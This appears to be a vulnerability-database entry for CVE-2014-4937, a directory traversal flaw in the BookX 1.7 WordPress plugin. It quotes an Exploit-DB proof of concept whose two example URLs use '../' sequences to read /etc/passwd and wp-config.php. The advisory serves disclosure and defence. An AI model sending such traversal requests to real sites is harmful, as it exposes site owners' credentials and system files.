CVE-2014-4937
Description
Directory traversal vulnerability in includes/bookx_export.php BookX plugin 1.7 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
WordPress Plugin BookX 1.7 - 'bookx_export.php' Local File Inclusion
source: https://www.securityfocus.com/bid/68556/info
BookX plugin for WordPress is prone to a local file-include vulnerability because it fails to adequately validate user-supplied input.
An attacker can exploit this vulnerability to obtain potentially sensitive information; other attacks are also possible.
BookX plugin 1.7 is vulnerable; other versions may also be affected.
http://www.example.com/wp-content/plugins/bookx/includes/bookx_export.php?file=../../../../../../../../etc/passwd
http://www.example.com/wp-content/plugins/bookx/includes/bookx_export.php?file=../../../../wp-config.php Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| bookx_plugin_project | bookx | 1.7 | |
References
CWEs
CWE-22
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.